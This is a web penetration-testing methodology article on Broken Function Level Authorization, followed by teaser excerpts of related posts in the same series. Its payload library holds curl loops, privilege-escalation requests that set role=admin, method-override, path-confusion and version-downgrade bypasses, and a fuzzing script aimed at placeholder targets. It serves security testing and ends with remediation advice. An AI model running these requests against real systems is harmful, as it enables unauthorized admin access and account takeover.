Broken Function Level Authorization (BFLA)

Broken Function Level Authorization (BFLA) Severity: High–Critical | CWE: CWE-285, CWE-269 OWASP API Top 10: API5:2023 – Broken Function Level Authorization What Is BFLA? BFLA (Broken Function Level Authorization) occurs when users can access functions/endpoints they shouldn’t based on their role — e.g., a regular user calling admin APIs. Unlike BOLA (accessing another object), BFLA is about accessing privileged operations. Regular user token → GET /api/users/me → 200 OK (correct) Regular user token → GET /api/admin/users → should be 403 → but returns 200 with all users → BFLA Or: Regular user → DELETE /api/users/1337 → should be 403 → returns 204 No Content → BFLA Discovery Checklist Map all endpoints from JS, Swagger/OpenAPI, API docs, traffic Identify admin/privileged endpoints: /admin, /internal, /manage, /staff Test all “restricted” endpoints with low-privilege token Test all HTTP methods on every endpoint (GET→POST→PUT→PATCH→DELETE) Test API version downgrade (v2 protected, v1 not) Test HTTP method override headers Test path confusion (capitalization, trailing slash, double slash) Test direct object manipulation to trigger privileged operations Compare responses: authenticated admin vs authenticated user Test GraphQL mutations with user token (see 83_GraphQL_Full.md) Payload Library Attack 1 — Admin Endpoint Access # Test admin paths with regular user token: ENDPOINTS=( "/admin/users" "/admin/settings" "/api/admin/dashboard" "/api/v1/admin/users" "/management/users" "/internal/config" "/staff/reports" "/superadmin" "/api/users?role=admin" # role filter "/api/audit-log" "/api/system/health/debug" ) for path in "${ENDPOINTS[@]}"; do status=$(curl -so /dev/null -w "%{http_code}" \ "https://target.com$path" \ -H "Authorization: Bearer REGULAR_USER_TOKEN") echo "$path: $status" done Attack 2 — HTTP Method Exploitation # Server only protects specific methods: # GET /api/users/1 → 403 (protected read) # DELETE /api/users/1 → 204 (DELETE not protected) # PUT /api/users/1 + body → 200 (PUT not checked) for method in GET POST PUT PATCH DELETE HEAD OPTIONS TRACE; do result=$(curl -so /tmp/resp -w "%{http_code}" \ -X "$method" "https://api.target.com/v1/admin/users" \ -H "Authorization: Bearer USER_TOKEN" \ -H "Content-Type: application/json" \ -d '{"role":"admin"}') echo "$method: $result $(cat /tmp/resp | head -c 100)" done # HTTP method override (when firewall only allows GET/POST): curl -X POST "https://api.target.com/v1/users/1" \ -H "X-HTTP-Method-Override: DELETE" \ -H "Authorization: Bearer USER_TOKEN" curl -X POST "https://api.target.com/v1/users/1" \ -H "X-Method-Override: PUT" \ -H "Content-Type: application/json" \ -d '{"role": "admin"}' # _method parameter (Rails/Laravel): curl -X POST "https://api.target.com/v1/users/1?_method=DELETE" \ -H "Authorization: Bearer USER_TOKEN" Attack 3 — Privilege Escalation via Function # Escalate own privileges: # Find: update user role function curl -X PUT "https://api.target.com/v1/users/MY_ID" \ -H "Authorization: Bearer MY_TOKEN" \ -H "Content-Type: application/json" \ -d '{"role": "admin", "permissions": ["*"]}' # Create admin user (registration without role check): curl -X POST "https://api.target.com/v1/users" \ -H "Authorization: Bearer USER_TOKEN" \ -H "Content-Type: application/json" \ -d '{"email":"attacker@evil.com","password":"pass","role":"admin","isAdmin":true}' # Promote self via admin endpoint: curl -X POST "https://api.target.com/v1/admin/users/MY_ID/promote" \ -H "Authorization: Bearer USER_TOKEN" # Assign group/team with admin privileges: curl -X POST "https://api.target.com/v1/teams/ADMIN_TEAM/members" \ -H "Authorization: Bearer USER_TOKEN" \ -d '{"user_id": "MY_ID"}' Attack 4 — Path Confusion Bypass # Uppercase bypass (if authorization check is case-sensitive): curl "https://api.target.com/Admin/users" \ -H "Authorization: Bearer USER_TOKEN" curl "https://api.target.com/ADMIN/users" curl "https://api.target.com/aDmIn/users" # Trailing slash / double slash: curl "https://api.target.com/admin/users/" curl "https://api.target.com//admin/users" curl "https://api.target.com/api//admin/users" # Path traversal to reach admin: curl "https://api.target.com/api/users/../admin/users" \ -H "Authorization: Bearer USER_TOKEN" curl "https://api.target.com/api/v1/users/../../admin/users" # URL encoding: curl "https://api.target.com/%61dmin/users" # a → %61 curl "https://api.target.com/adm%69n/users" # i → %69 curl "https://api.target.com/%2fadmin%2fusers" # encoded slashes Attack 5 — API Version Downgrade # v2 is protected but v1 is legacy and unprotected: curl "https://api.target.com/v2/admin/users" \ -H "Authorization: Bearer USER_TOKEN" # → 403 curl "https://api.target.com/v1/admin/users" \ -H "Authorization: Bearer USER_TOKEN" # → 200? # Test multiple version formats: for v in v1 v2 v3 v0 beta alpha 1 2 3; do status=$(curl -so /dev/null -w "%{http_code}" \ "https://api.target.com/$v/admin/users" \ -H "Authorization: Bearer USER_TOKEN") echo "/$v/: $status" done # Accept-Version header: curl "https://api.target.com/admin/users" \ -H "Authorization: Bearer USER_TOKEN" \ -H "Accept-Version: v1" Tools # AuthMatrix (Burp extension): # Define roles, assign tokens, map endpoints # Auto-test all combinations → shows unauthorized access # Autorize (Burp extension): # Replay every request with lower-privilege token # Highlights responses that match → potential BFLA # ffuf for endpoint discovery: ffuf -u "https://target.com/FUZZ" \ -H "Authorization: Bearer USER_TOKEN" \ -w /usr/share/seclists/Discovery/Web-Content/api/api-seen-in-wild.txt \ -mc 200,201,204 -o results.json # Param Miner (Burp): # Discover hidden parameters that control function access # Manual script — test all methods × all endpoints: python3 -c " import requests, itertools token = 'USER_TOKEN' endpoints = ['/admin/users', '/admin/settings', '/api/export'] methods = ['GET', 'POST', 'PUT', 'PATCH', 'DELETE'] headers = {'Authorization': f'Bearer {token}', 'Content-Type': 'application/json'} for ep, m in itertools.product(endpoints, methods): r = requests.request(m, f'https://target.com{ep}', headers=headers, json={}, timeout=5) if r.status_code not in (403, 405): print(f'[!] {m} {ep} → {r.status_code}') " Remediation Reference Centralized authorization layer: all function-level access decisions in one place (middleware/policy engine) Default deny: every function access denied unless explicitly granted to role Role-based access control (RBAC): define roles with explicit function permissions, check on every call Do not rely on UI hiding: removing admin buttons from UI is not access control — enforce at API level Audit all HTTP methods per endpoint — not just GET/POST API version retirement: decommission old API versions; redirect with 410 Gone and enforce same auth controls until removal Regular access control audits: use automated tools like AuthMatrix in CI/CD pipeline Part of the Web Application Penetration Testing Methodology series.

February 24, 2026 · 5 min · MrAzoth

Business Logic Flaws

Business Logic Flaws Severity: High–Critical | CWE: CWE-840, CWE-841 OWASP: A04:2021 – Insecure Design What Are Business Logic Flaws? Business logic flaws are vulnerabilities in the application’s intended workflow — not in code syntax or data handling, but in the rules governing what users can do, in what order, and under what conditions. They are rarely detected by scanners because they require understanding of how the application should work to recognize when it doesn’t. ...

February 24, 2026 · 9 min · MrAzoth

IDOR / BOLA: Insecure Direct Object Reference

IDOR / BOLA: Insecure Direct Object Reference Severity: High–Critical | CWE: CWE-639 OWASP: A01:2021 – Broken Access Control API Security: OWASP API Top 10 — API1:2023 BOLA What Is IDOR / BOLA? IDOR (Insecure Direct Object Reference) occurs when an application uses a user-controllable identifier (ID, filename, hash) to access a resource without verifying that the requesting user is authorized to access it. BOLA (Broken Object Level Authorization) is the API-centric term — same concept, different vocabulary. It is the #1 API vulnerability class. ...

February 24, 2026 · 8 min · MrAzoth

Mass Assignment

Mass Assignment Severity: High | CWE: CWE-915 OWASP: A03:2021 – Injection | A01:2021 – Broken Access Control What Is Mass Assignment? Mass assignment (also called auto-binding or object injection) occurs when a framework automatically binds HTTP request parameters to model/object properties without an allowlist. If an application exposes a User model and the attacker adds role=admin or isAdmin=true to the request, the ORM may silently set those fields. The vulnerability is architectural — it exists in the gap between what the API intends to accept and what it actually binds. ...

February 24, 2026 · 7 min · MrAzoth

Race Conditions

Race Conditions Severity: High–Critical | CWE: CWE-362 OWASP: A04:2021 – Insecure Design What Are Race Conditions? Race conditions in web apps occur when multiple concurrent requests interact with shared state before that state is properly updated. The classic pattern: read-check-act without atomicity. Thread A: READ balance=100 → CHECK balance>50? YES → [gap] → WRITE balance=50 Thread B: READ balance=100 → CHECK balance>100? YES → WRITE balance=0 → Both succeed, but total withdrawn = 150 from 100 balance (TOCTOU) Modern web race conditions (PortSwigger research): ...

February 24, 2026 · 6 min · MrAzoth